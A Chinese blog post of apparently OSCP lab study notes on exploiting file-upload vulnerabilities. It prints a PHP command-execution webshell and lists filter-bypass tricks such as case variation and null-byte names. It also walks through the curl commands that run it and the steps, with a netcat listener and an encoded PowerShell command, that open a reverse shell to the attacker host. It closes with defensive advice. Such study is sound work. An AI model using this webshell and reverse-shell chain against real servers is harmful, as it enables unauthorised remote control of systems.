4-6〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件上传漏洞-A

郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。

💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉
Whoami!-CSDN博客🚀

​​​


𖤐 现在,我们渐入佳境了,保持耐心,继续前行

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!


→ 信息收集

→ 漏洞检测

→ 初始立足点**▸常见WEB应用攻击▸-----我们在这儿~** 🔥🔥🔥

权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复

目录

[1 常见WEB应用攻击](#1 常见WEB应用攻击)

[1.3 文件上传漏洞](#1.3 文件上传漏洞)

[1.3.1 上传可执行文件攻击](#1.3.1 上传可执行文件攻击)

[1.3.1.1 识别第一类文件上传漏洞](#1.3.1.1 识别第一类文件上传漏洞)

[1.3.1.2 定位上传位置与上传机制](#1.3.1.2 定位上传位置与上传机制)

[1.3.1.3 绕过上传的过滤机制](#1.3.1.3 绕过上传的过滤机制)

[1.3.1.4 执行上传的Webshell(simple-backdoor.pHP)](#1.3.1.4 执行上传的Webshell(simple-backdoor.pHP))

1.Webshell代码详细分析

2.分析思路并执行攻击​编辑

[1.3.1.5 从目标机器获取反向shell](#1.3.1.5 从目标机器获取反向shell)

1.攻击主机上启动Netcat监听器

2.构建PowerShell反向Shell代码

3.将Base64编码处理

①准备原始命令

②转换为字节数据

③Base64编码

4.通过Webshell执行反向Shell

5.收到反向shell连接

[1.3.1.6 多语言Webshell应对策略](#1.3.1.6 多语言Webshell应对策略)

1.不同框架的Webshell位置

2.通用攻击流程

3.文件类型绕过进阶技巧

4.防护建议

[💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬](#💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬)


1 常见WEB应用攻击

Web开发是当前IT领域需求最高 的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵++文件路径++访问未授权资源

  • 📄 文件包含漏洞 - 包含++恶意文件执行代码++

  • ⬆️ 文件上传攻击漏洞 - ++上传恶意文件++ 获取系统访问权**---(本文)**

  • ⚡ 命令注入 - 在输入中++注入系统命令++执行


1.3 文件上传漏洞

文件上传漏洞 **:**攻击者通过利用应用程序的文件上传功能,上传恶意文件到服务器,从而获取系统权限或执行其他攻击。

🎯 漏洞分类

漏洞类型 描述 可能的攻击方式
第一类漏洞 上传的文件可被Web应用程序直接执行 **(本文)**上传PHP脚本并通过浏览器执行; 适用于各种服务器端脚本语言
第二类漏洞 文件上传机制与其他漏洞结合利用 **结合目录遍历:**在文件上传请求中使用相对路径,并尝试覆盖类似authorized_keys的文件。 **结合XML外部实体 (XXE)或跨站脚本 (XSS)攻击:**当允许上传一个带有SVG文件类型的头像到个人资料时,可嵌入XXE攻击来显示文件内容甚至执行代码。
第三类漏洞 依赖用户交互的攻击 上传含恶意宏的文档文件,诱导用户执行 **例如:**当发现一个求职申请的上传表单时,尝试上传一个带有恶意.docx格式的简历,并集成恶意宏,然后通过宏来执行。

⚠️ 本单元重点讨论前两种文件上传漏洞。


1.3.1 上传可执行文件攻击

1.3.1.1 识别第一类文件上传漏洞

识别方法

  • 内容管理系统(CMS):通常有头像上传、博客附件等功能

  • 企业网站:职业申请部分或特定业务功能中的上传机制

  • 全面枚举:不应跳过对网站所有功能的仔细检查


1.3.1.2 定位上传位置与上传机制

示例:Mountain Desserts应用程序: ++访问http://<192.168.50.189>/meteor/++

测试步骤

  1. 发现图片上传功能,上图红框部分

  2. 尝试上传**文本文件,**验证限制范围

  3. 确认上传成功,说明不仅限于图片文件

  4. 此外:页面英文提示说要切换到windows,大胆推测目标服务器运行在windows上

**如下示例:**我们创建了一个test.txt的文本文件,并上传到Web应用程序,显示上传成功!


1.3.1.3 绕过上传的过滤机制

尝试上传之前使用的simple-backdoor.phpWebshell ,提示PHP Webshell受阻

  • 系统提示:"不允许PHP文件"

  • 表明存在文件扩展名黑名单

由于不知道过滤器的具体实现方式,将使用试错的方法来寻找绕过它的方法。

绕过黑名单的常用方法

绕过技术 示例 原理
非常规PHP扩展名 .phps, .php7 利用较少检查的合法PHP扩展名
大小写变异 .pHP, .PhP 黑名单可能只检查小写扩展名
特殊字符添加 .php., .php 利用系统处理文件名的特性
双重扩展名 .jpg.php 绕过简单的前缀/后缀检查

实战操作

  • simple-backdoor.php重命名为 simple-backdoor.pHP

  • 成功绕过过滤器,文件被上传至"uploads"目录


1.3.1.4 执行上传的Webshell(simple-backdoor.pHP

1.Webshell代码详细分析

bash 复制代码
kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...

<?php
if(isset($_REQUEST['cmd'])){      # 把请求变量cmd的参数值
 echo "<pre>";
 $cmd = ($_REQUEST['cmd']);       # 放入system()函数去执行
 system($cmd);
 echo "</pre>";
 die;
}                  # 总的意思:cmd的命令在本地web服务器执行,并输出结果。

?>                      

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
步骤 功能描述 关键技术/函数 作用说明
1. 接收命令 检查$_REQUEST['cmd']参数是否存在 $_REQUEST全局数组 自动获取GET、POST和COOKIE中的cmd参数值
2. 执行命令 在服务器上执行传入的系统命令 system($cmd)函数 直接调用操作系统命令并返回执行结果
3. 显示结果 格式化输出命令执行结果 echo "<pre>"echo "</pre>" 使用HTML的<pre>标签保持输出格式清晰可读
4. 终止脚本 命令执行完成后结束脚本运行 die语句 防止脚本继续执行,确保安全性和资源释放

🔹 $_REQUEST超级全局数组

  • 功能:自动收集HTTP请求参数(GET + POST + COOKIE)

  • 优势:无需区分请求方法,统一处理用户输入

  • 风险 :安全性较低,建议在生产环境中使用更具体的$_GET$_POST

🔹 system()函数特性

  • 执行环境:在Web服务器进程权限下运行

  • 返回值:直接输出命令结果到浏览器

  • 权限依赖:受Web服务器用户权限限制

🔹 <pre>标签的作用

  • 格式保持:保留空格和换行符的原始格式

  • 可读性:使命令行输出更易于阅读和分析

  • 调试友好:便于攻击者查看完整的命令执行结果

🔹 die语句的重要性

  • 资源清理:立即终止脚本,释放系统资源

  • 安全控制:防止意外代码继续执行

  • 逻辑明确:明确标识脚本执行终点

2.分析思路并执行攻击

再次分析上图,输出显示我们的文件已上传到"uploads"目录,所以假设存在一个名为"uploads"的目录。再次提醒:/uploads是我们猜想的目录。

刚刚上传simple-backdoor.pHP,这里不要输错;然后带参数cmd,这个参数将在该webshell中执行。我们使用curl,并将查询命令dir 作为Webshell的"cmd"参数。

bash 复制代码
kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir

...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt
 2 File(s) 343 bytes
 2 Dir(s) 15,410,925,568 bytes free
...

结果确认

  • 成功显示目录列表

  • 确认获得远程命令执行能力


1.3.1.5 从目标机器获取反向shell

| 步骤 | 操作 | 工具/技术 | 关键点 |
| 1. 准备阶段 | 启动Netcat监听 | nc -nvlp 4444 | 选择未被占用的端口 |
| 2. 载荷构建 | PowerShell代码Base64编码 | PowerShell + Base64 | 避免特殊字符问题 |
| 3. 命令执行 | 通过Webshell触发反向连接 | curl + URL编码 | 正确格式化命令参数 |

4. 连接建立 接收反向Shell Netcat监听器 获得目标系统控制权

1.攻击主机上启动Netcat监听器

在本地kali(攻击主机)上新的终端中启动一个Netcat监听器,在4444端口上捕获传入的反向shell。作用:准备接收目标机器的反向连接。

bash 复制代码
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...

2.构建PowerShell反向Shell代码

目标环境分析 :基于上面的网页的XAMPP图标和系统提示,推测为Windows系统。 因此构建PowerShell 的++单行命令++ 作为反向shell代码。
在本实验中,在kali上构建
PowerShell代码,使用pwsh(跨平台的命令行外壳和脚本语言)。

pwsh是PowerShell的缩写,它是一个跨平台的命令行外壳和脚本语言。PowerShell是微软为Windows操作系统开发的,但随着时间的推移它已经变得跨平台,可以在Linux和macOS上使用,在kali的命令行中输入pwsh来启动PowerShell 7的交互式shell。

这段PowerShell代码是一个简单的反向Shell脚本,通常用于在远程机器上执行命令并将结果返回到攻击者的机器。它建立一个TCP连接,并执行来自连接的命令,连接到IP地址192.168.119.3上的端口4444,这个IP地址和端口是攻击者控制的机器。

3.将Base64编码处理

由于反向shell单行命令中有几个特殊字符 ,需使用base64 对字符串进行编码 。在网络传输数据时,通常需要转换为字节流格式,便于通过协议传输。编码思路如下:

①准备原始命令

bash 复制代码
$Text = "PowerShell反向shell代码"
  • 把PowerShell命令存储在变量Text。

②转换为字节数据

bash 复制代码
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

# 将一个文本字符串($Text)转换成Unicode编码格式的字节数组($Bytes)。
  • 将文本转换成计算机理解的二进制格式

  • 使用Unicode编码确保所有字符正确转换

  • 最终存储在变量Bytes中

详细说明:

**[System.Text.Encoding]::Unicode:**指定了想使用的编码格式,这里是 Unicode 编码。

常见的 Unicode 编码形式包括 UTF-16 和 UTF-8,其中 UTF-16 是指每个字符使用 2 或 4 字节表示。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。

GetBytes(Text):** System.Text.Encoding 类的一个方法,用来将字符串 Text 的内容转换为一个字节数组**。它会将每个字符按照指定的编码格式转换成对应的字节形式。

示例:

字符串 $Text:

bash 复制代码
$Text = "Hello"

执行以下代码时:

bash 复制代码
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

Bytes 中的内容将是:字符 "H", "e", "l", "l", "o" 对应的 Unicode 编码字节。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。所以最终 Bytes 数组可能包含类似的字节数组:

bash 复制代码
$Bytes = [0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x6F]

③Base64编码

bash 复制代码
$EncodedText = [Convert]::ToBase64String($Bytes)
  • 将二进制数据(字节数组)编码为安全传输的文本格式(Base64 编码字符串

  • **目的是:**消除特殊字符,避免特殊字符在URL传输中被错误解析

详细说明:
[Convert] 是 .NET Framework 中的一个类,包含了多种转换方法。
ToBase64String方法接受一个字节数组作为输入,并将其转换为一个 Base64 编码的字符串。

**$EncodedText:**这是存储结果的变量,最终它将包含 Base64 编码后的字符串。例如,Hello 字符串的 Base64 编码可能是 SGVsbG8=。

4.通过Webshell执行反向Shell

命令构造

  • 原始命令:powershell -enc <编码后的字符串>

  • URL编码后:powershell%20-enc%20<编码字符串>

详细说明:

在 PowerShell 中,-enc 参数通常用于通过 Base64 编码的命令行参数 启动 PowerShell 脚本或命令。它的全写是 -EncodedCommand,表示将一个 Base64 编码的命令传递给 PowerShell 执行。

执行方式

bash 复制代码
curl "http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<编码字符串>"

5.收到反向shell连接

执行命令后,在刚刚**"nc -nvlp 4444"的终端** 上接收到一个反向shell,我们成功控制了目标主机192.168.50.189。


1.3.1.6 多语言Webshell应对策略

1.不同框架的Webshell位置

如果目标Web应用程序使用ASP 而不是PHP,可以使用与前一个**.pHP示例** 中相同的流程来获取代码执行,而不是上传PHP Webshell。幸运的是,Kali已经包含了各种Web Shell,位于/usr/share/webshells/目录中。已经提供的用于不同框架和语言的webshell。在kali中,不同框架的Webshell位置:

bash 复制代码
/usr/share/webshells/
├── asp/          # ASP语言Webshell
├── aspx/         # ASP.NET Webshell  
├── jsp/          # JSP Webshell
├── php/          # PHP Webshell
└── other/        # 其他语言

2.通用攻击流程

步骤 操作 说明
1. 识别技术栈 分析目标使用的编程语言 PHP、ASP、JSP等
2. 上传Webshell文件 绕过文件类型过滤 使用大小写变异、双重扩展名等技术
3. 定位Webshell 找到可访问的存储路径 通常为/uploads/、/images/等目录
4. 执行命令 通过参数传递系统命令 获得远程代码执行能力

3.文件类型绕过进阶技巧

重命名绕过法

  • 上传无害文件 :如.txt文本文件

  • 通过应用功能重命名 :利用网页的文件管理功能(若有),把文件格式改为.php

  • 直接访问新文件名:执行Webshell

其他绕过技术

  • 空字节注入shell.php%00.jpg

  • 特殊字符shell.php.shell.php

  • MIME类型欺骗:修改Content-Type头

4.防护建议

  • 使用白名单而非黑名单验证文件类型

  • 将上传文件存储在Web根目录外

  • 对上传文件进行重命名

  • 限制上传文件的执行权限

  • 使用病毒扫描检查上传内容


💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

相关推荐
天荒地老笑话么16 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子1 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha1 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络2 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd2 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你2 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha3 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
成茂峰3 天前
软考高级·系统架构设计师 | 四、信息技术安全知识
安全·信息安全·系统架构·架构设计师
liann1193 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20253 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信